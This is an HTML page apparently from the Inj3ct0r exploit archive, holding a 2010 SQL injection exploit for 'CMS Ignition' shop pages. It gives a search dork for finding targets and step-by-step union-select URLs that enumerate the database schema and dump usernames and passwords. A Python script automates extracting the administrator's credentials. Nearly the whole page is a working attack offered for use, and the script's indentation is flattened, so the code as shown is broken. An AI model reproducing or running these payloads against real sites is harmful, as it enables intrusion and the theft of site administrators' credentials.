<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>CMS Ignition SQL Injection Exploit</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>==================================
CMS Ignition SQL Injection Exploit
==================================

[+] SQL Injection Vulnerability
[+] Dorks: allinurl:&quot;shop.htm?shopMGID=&quot;
[+] Bug in shop.htm?shopMGID
[+] Exploit: http://www.site.com/shop.htm?shopMGID=XXXX (see below python exploit)
[+]
==================================================

Step[1]:
Error

http://www.site.com/shop.htm?shopMGID=9999′

Step[2]:
Number of columns

http://www.site.com/shop.htm?shopMGID=9999+order+by+1–

Step[3]:
Output of numbers

http://www.site.com/shop.htm?shopMGID=-9999+union+select+1,2,3,4,5–

Step[4]:
Collect informations

http://www.site.com/shop.htm?shopMGID=-9999+union+select+version(),database(),3,4,5+from+information_schema.columns–

Step[5]:
If version is
5.0.67-community
5.0.32-Debian_7etch8-log
5.0.40-log

http://www.site.com/shop.htm?shopMGID=-9999+union+select+1,2,concat_ws(0×3a,table_schema,table_name,column_name),4,5+from+information_schema.columns–

Step[6]:
Increment zero in &quot;limit+0,1–&quot; until you have interesting tables and columns

http://www.site.com/shop.htm?shopMGID=-9999+union+select+1,2,concat_ws(0×3a,table_schema,table_name,column_name),4,5+from+information_schema.columns+limit+0,1–

Step[7]:
Get the content
(fiction tables in this example)

http://www.site.com/shop.htm?shopMGID=-9999+union+select+1,2,concat_ws(0×3a,username,password),4,5+user–

==================================================

[+] Contact:
– neavorc[at]gmail.com

==================================================
Discovered by NEAVORC
Cheers’n'Oi

==================================================

# Exploit Title: CMS Ignition SQL Injection
# Date: 25/08/2010 [DD:MM:JJJJ]
# Author: NEAVORC
# Software Link: http://www.finegrafix.co.za/
# http://www.finegrafix.co.za/cmsignition.htm
# Dork: Dorks: allinurl:&quot;shop.htm?shopMGID=&quot;

import urllib ,sys,os
if len(sys.argv)!=2:
os.system(‘cls’)
os.system(‘clear’)
print &quot;===============================================================================&quot;
print &quot;============== CMSignition Exploit ||| NEAVORC[@]gmail[.]com ===============&quot;
print &quot;===============================================================================&quot;
print &quot;== Take the Admin username and the password from the tagrt page ==&quot;
print &quot;=Usage: ./exploit.py &lt;injection&gt; ==&quot;
print &quot;=Exmpl: ./exploit.py &lt;http://www.site.com/shop.htm?shopMGID=131&gt; ==&quot;
print &quot;===============================================================================&quot;
sys.exit(1)
global url,end,injection,i
url = sys.argv[1]
url = url.replace(&quot;=&quot;,&quot;=-&quot;)
end = &quot;+from+adminUsers–&quot;
injection = &quot;+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat_ws(0×3a,0×6F7574707574,username,password,0×6861636B6564),22,23,24,25,26,27,28,29,&quot;
os.system(‘cls’)
print &quot;===============================================================================&quot;
print &quot;================= SQLi Exploit ||| NEAVORC[@]gmail[.]com =================&quot;
print &quot;===============================================================================&quot;
print &quot;== Exploiting Please wait… ==&quot;
print &quot;===============================================================================&quot;

if url[:7] != &quot;http://&quot;:
print &quot;Url correction….&quot;
url = &quot;http://&quot;+url
print &quot;To : &quot;+url
try:
i = 30
while i &lt;=70:
global full_inj
injection = injection+str(i)+&quot;,&quot;
full_inj = url+injection[:-1]+end
f = urllib.urlopen(full_inj)
s = f.read()
if &quot;output:&quot; in s:
begin = int(s.find(&quot;output&quot;))
end = int(s.find(&quot;hacked&quot;))
columns = full_inj[-20:-18]
os.system(‘cls’)
print &quot;===============================================================================&quot;
print &quot;================= SQLi Exploit ||| NEAVORC[@]gmail[.]com =================&quot;
print &quot;===============================================================================&quot;
print &quot;================= Administrator: &quot;+s[begin:end-1]
print &quot;================= Columns: &quot;+columns
print &quot;===============================================================================&quot;
print &quot;============== Exploit by NEAVORC[at]gmail.com ===========&quot;
i = i+1
except(TypeError):
exit

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-25]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13472